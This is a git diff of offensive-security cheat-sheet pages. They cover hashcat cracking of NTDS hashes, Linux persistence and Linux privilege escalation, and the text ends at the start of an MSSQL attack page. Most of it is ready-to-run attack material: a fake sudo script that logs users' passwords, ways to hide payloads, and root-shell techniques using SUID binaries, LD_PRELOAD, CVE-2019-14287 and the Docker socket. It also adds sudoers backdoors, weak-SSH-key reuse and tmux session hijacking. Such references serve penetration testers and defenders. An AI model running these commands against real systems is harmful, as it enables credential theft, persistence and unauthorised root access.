hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1
|
||||
|
||||
# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1
|
||||
|
||||
# Mask: lower*6 + digit*2 + special digit(+!?*)
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1
|
||||
|
||||
# Mask: lower*6 + digit*2
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1
|
||||
|
||||
# Other examples
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a
|
||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d
|
||||
hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a"
|
||||
hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s"
|
||||
hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a"
|
||||
hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3"
|
||||
```
|
||||
|
||||
| Shortcut | Characters |
|
||||
|----|----------------------------|
|
||||
| ?l | abcdefghijklmnopqrstuvwxyz |
|
||||
| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
|
||||
| ?d | 0123456789 |
|
||||
| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ |
|
||||
| ?a | ?l?u?d?s |
|
||||
| ?b | 0x00 - 0xff |
|
||||
|
||||
|
||||
|
||||
## John
|
||||
|
||||
|
||||
### John Usage
|
||||
|
||||
```bash
|
||||
# Run on password file containing hashes to be cracked
|
||||
john passwd
|
||||
|
||||
# Use a specific wordlist
|
||||
john --wordlist=<wordlist> passwd
|
||||
|
||||
# Use a specific wordlist with rules
|
||||
john --wordlist=<wordlist> passwd --rules=Jumbo
|
||||
|
||||
# Show cracked passwords
|
||||
john --show passwd
|
||||
|
||||
# Restore interrupted sessions
|
||||
john --restore
|
||||
```
|
||||
|
||||
|
||||
## Rainbow tables
|
||||
|
||||
> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant)
|
||||
|
||||
## Tips and Tricks
|
||||
|
||||
* Cloud GPU
|
||||
* [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab)
|
||||
* [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat)
|
||||
* [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis)
|
||||
* [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees)
|
||||
* Build a rig on premise
|
||||
* [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig)
|
||||
* [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
|
||||
* Online cracking
|
||||
* [Hashes.com](https://hashes.com/en/decrypt/hash)
|
||||
* [hashmob.net](https://hashmob.net/): great community with Discord
|
||||
* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
|
||||
|
||||
|
||||
## Online Cracking Resources
|
||||
|
||||
* ~~[hashes.com](https://hashes.com)~~
|
||||
* [crackstation](https://crackstation.net)
|
||||
* [Hashmob](https://hashmob.net/)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
|
||||
* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)
|
||||
* [miloserdov.org hashcat](https://miloserdov.org/?p=5426&PageSpeed=noscript)
|
||||
* [miloserdov.org john](https://miloserdov.org/?p=4961&PageSpeed=noscript)
|
||||
@@ -13,6 +13,7 @@
|
||||
* [Backdooring the APT](#backdooring-the-apt)
|
||||
* [Backdooring the SSH](#backdooring-the-ssh)
|
||||
* [Tips](#tips)
|
||||
* [Additional Linux Persistence Options](#additional-persistence-options)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
@@ -67,6 +68,26 @@ fi
|
||||
rm /tmp/$TMPNAME2
|
||||
```
|
||||
|
||||
or add the following line inside its .bashrc file.
|
||||
|
||||
```powershell
|
||||
$ chmod u+x ~/.hidden/fakesudo
|
||||
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
|
||||
```
|
||||
|
||||
and create the `fakesudo` script.
|
||||
|
||||
```powershell
|
||||
read -sp "[sudo] password for $USER: " sudopass
|
||||
echo ""
|
||||
sleep 2
|
||||
echo "Sorry, try again."
|
||||
echo $sudopass >> /tmp/pass.txt
|
||||
|
||||
/usr/bin/sudo $@
|
||||
```
|
||||
|
||||
|
||||
## Backdooring a startup service
|
||||
|
||||
```bash
|
||||
@@ -117,10 +138,16 @@ Add an ssh key into the `~/.ssh` folder.
|
||||
|
||||
Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
|
||||
|
||||
```bash
|
||||
```powershell
|
||||
#[2J[2J[2J[2H[2A# Do not remove. Generated from /etc/issue.conf by configure.
|
||||
```
|
||||
|
||||
Hide in plain sight using zero width spaces in filename.
|
||||
|
||||
```powershell
|
||||
touch $(echo -n 'index\u200D.php') index.php
|
||||
```
|
||||
|
||||
Clear the last line of the history.
|
||||
|
||||
```bash
|
||||
@@ -154,6 +181,33 @@ The following directories are temporary and usually writeable
|
||||
/tmp/
|
||||
/dev/shm/
|
||||
```
|
||||
## Additional Persistence Options
|
||||
|
||||
* [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)
|
||||
* [Compromise Client Software Binary](https://attack.mitre.org/techniques/T1554)
|
||||
* [Create Account](https://attack.mitre.org/techniques/T1136/)
|
||||
* [Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/)
|
||||
* [Create or Modify System Process](https://attack.mitre.org/techniques/T1543/)
|
||||
* [Create or Modify System Process: Systemd Service](https://attack.mitre.org/techniques/T1543/002/)
|
||||
* [Event Triggered Execution: Trap](https://attack.mitre.org/techniques/T1546/005/)
|
||||
* [Event Triggered Execution](https://attack.mitre.org/techniques/T1546/)
|
||||
* [Event Triggered Execution: .bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004/)
|
||||
* [External Remote Services](https://attack.mitre.org/techniques/T1133/)
|
||||
* [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/)
|
||||
* [Hijack Execution Flow: LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/)
|
||||
* [Pre-OS Boot](https://attack.mitre.org/techniques/T1542/)
|
||||
* [Pre-OS Boot: Bootkit](https://attack.mitre.org/techniques/T1542/003/)
|
||||
* [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/)
|
||||
* [Scheduled Task/Job: At (Linux)](https://attack.mitre.org/techniques/T1053/001/)
|
||||
* [Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/)
|
||||
* [Server Software Component](https://attack.mitre.org/techniques/T1505/)
|
||||
* [Server Software Component: SQL Stored Procedures](https://attack.mitre.org/techniques/T1505/001/)
|
||||
* [Server Software Component: Transport Agent](https://attack.mitre.org/techniques/T1505/002/)
|
||||
* [Server Software Component: Web Shell](https://attack.mitre.org/techniques/T1505/003/)
|
||||
* [Traffic Signaling](https://attack.mitre.org/techniques/T1205/)
|
||||
* [Traffic Signaling: Port Knocking](https://attack.mitre.org/techniques/T1205/001/)
|
||||
* [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001/)
|
||||
* [Valid Accounts: Domain Accounts 2](https://attack.mitre.org/techniques/T1078/002/)
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,24 +1,18 @@
|
||||
# Linux - Privilege Escalation
|
||||
|
||||
## Tools
|
||||
|
||||
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
|
||||
```powershell
|
||||
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
|
||||
```
|
||||
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
|
||||
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
|
||||
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
|
||||
|
||||
## Summary
|
||||
|
||||
* [Checklist](#checklist)
|
||||
* [Tools](#tools)
|
||||
* [Checklist](#checklists)
|
||||
* [Looting for passwords](#looting-for-passwords)
|
||||
* [Files containing passwords](#files-containing-passwords)
|
||||
* [Old passwords in /etc/security/opasswd](#old-passwords-in--etc-security-opasswd)
|
||||
* [Old passwords in /etc/security/opasswd](#old-passwords-in-etcsecurityopasswd)
|
||||
* [Last edited files](#last-edited-files)
|
||||
* [In memory passwords](#in-memory-passwords)
|
||||
* [Find sensitive files](#find-sensitive-files)
|
||||
* [SSH Key](#ssh-key)
|
||||
* [Sensitive files](#sensitive-files)
|
||||
* [SSH Key Predictable PRNG (Authorized_Keys) Process](#ssh-key-predictable-prng-authorized_keys-process)
|
||||
* [Scheduled tasks](#scheduled-tasks)
|
||||
* [Cron jobs](#cron-jobs)
|
||||
* [Systemd timers](#systemd-timers)
|
||||
@@ -31,9 +25,10 @@
|
||||
* [Interesting capabilities](#interesting-capabilities)
|
||||
* [SUDO](#sudo)
|
||||
* [NOPASSWD](#nopasswd)
|
||||
* [LD_PRELOAD and NOPASSWD](#ld-preload-and-passwd)
|
||||
* [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd)
|
||||
* [Doas](#doas)
|
||||
* [sudo_inject](#sudo-inject)
|
||||
* [sudo_inject](#sudo_inject)
|
||||
* [CVE-2019-14287](#cve-2019-14287)
|
||||
* [GTFOBins](#gtfobins)
|
||||
* [Wildcard](#wildcard)
|
||||
* [Writable files](#writable-files)
|
||||
@@ -46,11 +41,50 @@
|
||||
* [Groups](#groups)
|
||||
* [Docker](#docker)
|
||||
* [LXC/LXD](#lxclxd)
|
||||
* [Hijack TMUX session](#hijack-tmux-session)
|
||||
* [Kernel Exploits](#kernel-exploits)
|
||||
* [CVE-2016-5195 (DirtyCow)](#CVE-2016-5195-dirtycow)
|
||||
* [CVE-2010-3904 (RDS)](#[CVE-2010-3904-rds)
|
||||
* [CVE-2010-4258 (Full Nelson)](#CVE-2010-4258-full-nelson)
|
||||
* [CVE-2012-0056 (Mempodipper)](#CVE-2012-0056-mempodipper)
|
||||
* [CVE-2022-0847 (DirtyPipe)](#cve-2022-0847-dirtypipe)
|
||||
* [CVE-2016-5195 (DirtyCow)](#cve-2016-5195-dirtycow)
|
||||
* [CVE-2010-3904 (RDS)](#cve-2010-3904-rds)
|
||||
* [CVE-2010-4258 (Full Nelson)](#cve-2010-4258-full-nelson)
|
||||
* [CVE-2012-0056 (Mempodipper)](#cve-2012-0056-mempodipper)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escelation vectors.
|
||||
Here are a few:
|
||||
|
||||
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
|
||||
|
||||
```powershell
|
||||
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
|
||||
curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh
|
||||
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
|
||||
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
|
||||
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users
|
||||
```
|
||||
|
||||
- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration)
|
||||
|
||||
```powershell
|
||||
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
|
||||
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
|
||||
./lse.sh -l1 # shows interesting information that should help you to privesc
|
||||
./lse.sh -l2 # dump all the information it gathers about the system
|
||||
```
|
||||
|
||||
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
|
||||
|
||||
```powershell
|
||||
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
|
||||
```
|
||||
|
||||
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
|
||||
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
|
||||
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
|
||||
- [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER)
|
||||
|
||||
|
||||
## Checklists
|
||||
|
||||
@@ -72,7 +106,7 @@
|
||||
* Checks if password hashes are stored in /etc/passwd
|
||||
* Extract full details for 'default' uid's such as 0, 1000, 1001 etc
|
||||
* Attempt to read restricted files i.e. /etc/shadow
|
||||
* List current users history files (i.e .bash_history, .nano_history etc.)
|
||||
* List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
|
||||
* Basic SSH checks
|
||||
* Privileged access:
|
||||
* Which users have recently used sudo
|
||||
@@ -167,6 +201,61 @@ $ locate password | more
|
||||
...
|
||||
```
|
||||
|
||||
## SSH Key
|
||||
|
||||
### Sensitive files
|
||||
|
||||
```
|
||||
find / -name authorized_keys 2> /dev/null
|
||||
find / -name id_rsa 2> /dev/null
|
||||
...
|
||||
```
|
||||
|
||||
### SSH Key Predictable PRNG (Authorized_Keys) Process
|
||||
|
||||
This module describes how to attempt to use an obtained authorized_keys file on a host system.
|
||||
|
||||
Needed : SSH-DSS String from authorized_keys file
|
||||
|
||||
**Steps**
|
||||
|
||||
1. Get the authorized_keys file. An example of this file would look like so:
|
||||
|
||||
```
|
||||
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
|
||||
```
|
||||
|
||||
2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`:
|
||||
|
||||
```
|
||||
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
|
||||
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
|
||||
/etc/init.d/ssh restart
|
||||
```
|
||||
|
||||
3. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys:
|
||||
|
||||
```
|
||||
git clone https://github.com/g0tmi1k/debian-ssh
|
||||
cd debian-ssh
|
||||
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
|
||||
```
|
||||
|
||||
4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as:
|
||||
|
||||
```
|
||||
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
|
||||
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
|
||||
```
|
||||
|
||||
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
|
||||
|
||||
```
|
||||
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
|
||||
```
|
||||
|
||||
And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
|
||||
|
||||
## Scheduled tasks
|
||||
|
||||
### Cron jobs
|
||||
@@ -202,6 +291,14 @@ cat /etc/cron.allow
|
||||
cat /etc/cron.deny*
|
||||
```
|
||||
|
||||
You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
|
||||
|
||||
```powershell
|
||||
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
|
||||
./pspy64 -pf -i 1000
|
||||
```
|
||||
|
||||
|
||||
## Systemd timers
|
||||
|
||||
```powershell
|
||||
@@ -233,6 +330,13 @@ find / -uid 0 -perm -4000 -type f 2>/dev/null
|
||||
|
||||
### Create a SUID binary
|
||||
|
||||
| Function | Description |
|
||||
|------------|---|
|
||||
| setreuid() | sets real and effective user IDs of the calling process |
|
||||
| setuid() | sets the effective user ID of the calling process |
|
||||
| setgid() | sets the effective group ID of the calling process |
|
||||
|
||||
|
||||
```bash
|
||||
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
|
||||
gcc -o /tmp/suid /tmp/suid.c
|
||||
@@ -245,7 +349,7 @@ sudo chmod +s /tmp/suid # setuid bit
|
||||
|
||||
### List capabilities of binaries
|
||||
|
||||
```bash
|
||||
```powershell
|
||||
╭─swissky@lab ~
|
||||
╰─$ /usr/bin/getcap -r /usr/bin
|
||||
/usr/bin/fping = cap_net_raw+ep
|
||||
@@ -289,8 +393,28 @@ sh-5.0# id
|
||||
uid=0(root) gid=1000(swissky)
|
||||
```
|
||||
|
||||
| Capabilities name | Description |
|
||||
|---|---|
|
||||
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
|
||||
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
|
||||
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
|
||||
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
|
||||
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
|
||||
| CAP_DAC_READ_SEARCH | This only bypass file and directory read/execute permission checks |
|
||||
| CAP_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
|
||||
| CAP_KILL | Allow the sending of signals to processes belonging to others |
|
||||
| CAP_SETGID | Allow changing of the GID |
|
||||
| CAP_SETUID | Allow changing of the UID |
|
||||
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
|
||||
| CAP_IPC_LOCK | This helps to lock memory |
|
||||
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
|
||||
| CAP_NET_RAW | Use RAW and PACKET sockets |
|
||||
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
|
||||
|
||||
## SUDO
|
||||
|
||||
Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
|
||||
|
||||
### NOPASSWD
|
||||
|
||||
Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
|
||||
@@ -317,12 +441,13 @@ If `LD_PRELOAD` is explicitly defined in the sudoers file
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
|
||||
Compile the following C code with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
|
||||
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
|
||||
|
||||
```powershell
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
void _init() {
|
||||
unsetenv("LD_PRELOAD");
|
||||
setgid(0);
|
||||
@@ -331,7 +456,7 @@ void _init() {
|
||||
}
|
||||
```
|
||||
|
||||
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=/tmp/shell.so find`
|
||||
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
|
||||
|
||||
### Doas
|
||||
|
||||
@@ -359,6 +484,18 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
|
||||
|
||||
|
||||
### CVE-2019-14287
|
||||
|
||||
```powershell
|
||||
# Exploitable when a user have the following permissions (sudo -l)
|
||||
(ALL, !root) ALL
|
||||
|
||||
# If you have a full TTY, you can exploit it like this
|
||||
sudo -u#-1 /bin/bash
|
||||
sudo -u#4294967295 id
|
||||
```
|
||||
|
||||
## GTFOBins
|
||||
|
||||
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
|
||||
@@ -392,11 +529,25 @@ Tool: [wildpwn](https://github.com/localh0t/wildpwn)
|
||||
List world writable files on the system.
|
||||
|
||||
```powershell
|
||||
find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
|
||||
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
|
||||
find / -perm -2 -type f 2>/dev/null
|
||||
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
|
||||
```
|
||||
|
||||
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
/etc/sysconfig/network-scripts/ifcfg-1337 for example
|
||||
|
||||
```powershell
|
||||
NAME=Network /bin/id <= Note the blank space
|
||||
ONBOOT=yes
|
||||
DEVICE=eth0
|
||||
|
||||
EXEC :
|
||||
./etc/sysconfig/network-scripts/ifcfg-1337
|
||||
```
|
||||
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
### Writable /etc/passwd
|
||||
|
||||
First generate a password with one of the following commands.
|
||||
@@ -434,14 +585,17 @@ echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
|
||||
|
||||
# use SUDO without password
|
||||
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
|
||||
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
|
||||
```
|
||||
|
||||
|
||||
## NFS Root Squashing
|
||||
|
||||
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it
|
||||
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it.
|
||||
|
||||
```powershell
|
||||
# remote check the name of the folder
|
||||
showmount -e 10.10.10.10
|
||||
|
||||
# create dir
|
||||
mkdir /tmp/nfsdir
|
||||
|
||||
@@ -553,6 +707,13 @@ sh-5.0# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
More docker privilege escalation using the Docker Socket.
|
||||
|
||||
```powershell
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
```
|
||||
|
||||
### LXC/LXD
|
||||
|
||||
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
|
||||
@@ -586,13 +747,35 @@ lxc exec mycontainer /bin/sh
|
||||
|
||||
Alternatively https://github.com/initstring/lxd_root
|
||||
|
||||
|
||||
## Hijack TMUX session
|
||||
|
||||
Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
|
||||
|
||||
```powershell
|
||||
export TMUX=/tmp/tmux-1000/default,1234,0
|
||||
tmux ls
|
||||
```
|
||||
|
||||
|
||||
## Kernel Exploits
|
||||
|
||||
Precompiled exploits can be found inside these repositories, run them at your own risk !
|
||||
* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
|
||||
* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
|
||||
|
||||
The following exploits are known to work well.
|
||||
The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`.
|
||||
|
||||
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a`
|
||||
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
|
||||
|
||||
### CVE-2022-0847 (DirtyPipe)
|
||||
|
||||
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
|
||||
|
||||
```
|
||||
https://www.exploit-db.com/exploits/50808
|
||||
```
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
@@ -644,3 +827,6 @@ https://www.exploit-db.com/exploits/18411
|
||||
- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
|
||||
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
|
||||
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)
|
||||
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
|
||||
* [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md)
|
||||
* [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)
|
||||
|
||||
670
Methodology and Resources/MSSQL Server - Cheatsheet.md
Normal file
@@ -0,0 +1,670 @@
|
||||
# MSSQL Server
|
||||
|
||||
## Summary
|
||||
|
||||
* [Identify Instances and Databases](#identifiy-instaces-and-databases)
|
||||
* [Discover Local SQL Server Instances](#discover-local-sql-server-instances)
|
||||
* [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances)
|
||||
* [Discover Remote SQL Server Instances](#discover-remote-sql-instances)
|
||||
* [Identify Encrypted databases](#identifiy-encrypted-databases)
|
||||
* [Version Query](#version-query)
|
||||
* [Identify Sensitive Information](#identify-sensitive-information)
|
||||
* [Get Tables from a Specific Database](#get-tables-from-specific-databases)
|
||||
* [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column)
|
||||
* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
|
||||
* [Dump common information from server to files](#dump-common-information-from-server-to-files)
|
||||
* [Linked Database](#linked-database)
|
||||
* [Find Trusted Link](#find-trusted-link)
|
||||
* [Execute Query Through The Link](#execute-query-through-the-link)
|
||||
* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
|
||||
* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
|
||||
* [Query Version of Linked Database](#query-version-of-linked-database)
|
||||
* [Execute Procedure on Linked Database](#execute-procedure-on-linked-database)
|
||||
* [Determine Names of Linked Databases ](#determine-names-of-linked-databases)
|
||||
* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
|
||||
* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
|
||||
* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
|
||||
* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
|
||||
* [Extended Stored Procedure](#extended-stored-procedure)
|
||||
* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
|
||||
* [CLR Assemblies](#clr-assemblies)
|
||||
* [Execute commands using CLR assembly](#execute-commands-using-clr-assembly)
|
||||
* [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it)
|
||||
* [OLE Automation](#ole-automation)
|
||||
* [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures)
|
||||
